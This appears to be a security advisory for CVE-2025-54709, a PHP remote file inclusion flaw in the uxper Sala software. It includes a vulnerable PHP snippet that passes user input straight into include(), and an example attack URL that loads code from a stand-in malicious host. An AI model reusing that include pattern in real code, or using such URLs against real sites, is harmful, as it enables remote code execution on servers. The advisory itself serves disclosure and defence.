Overview
The cybersecurity landscape is continually evolving, with new threats emerging on a regular basis. One such threat is CVE-2025-54709, a critical vulnerability associated with a PHP Remote File Inclusion in the software uxper Sala. This vulnerability has been rated with a severity of 8.1 on the Common Vulnerability Scoring System (CVSS), making it a severe threat that requires immediate attention. If successfully exploited, this vulnerability could lead to a potential system compromise or data leakage, impacting businesses that rely on the affected versions of uxper Sala.
Vulnerability Summary
CVE ID: CVE-2025-54709
Severity: Critical (8.1 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage
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Product | Affected Versions
uxper Sala | n/a through 1.1.6
How the Exploit Works
This vulnerability lies in the improper control of filename for Include/Require statement in PHP program within uxper Sala. When exploited, it allows a remote attacker to include a file from a remote server, effectively allowing execution of arbitrary code. The attacker can manipulate the input in a way that includes a file from a malicious server, which opens the door to a system compromise or data leakage.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited:
<?php
// The attacker can control the $file variable to an arbitrary URL
$file = $_GET['file'];
include($file . '.php');
?>In the above example, the attacker could manipulate the URL parameter ‘file’ to include a ‘.php’ file from a remote server. For instance, an attacker could use a URL like ‘http://vulnerablewebsite.com/?file=http://maliciouswebsite.com/maliciousfile’ to execute arbitrary code on the server.
Mitigation
The best solution is to apply the vendor’s patch. If this is not immediately possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation to monitor network traffic and halt detected threats. Furthermore, to minimize the risk of this vulnerability, it is recommended to avoid using user input directly in the Include/Require statement in PHP.
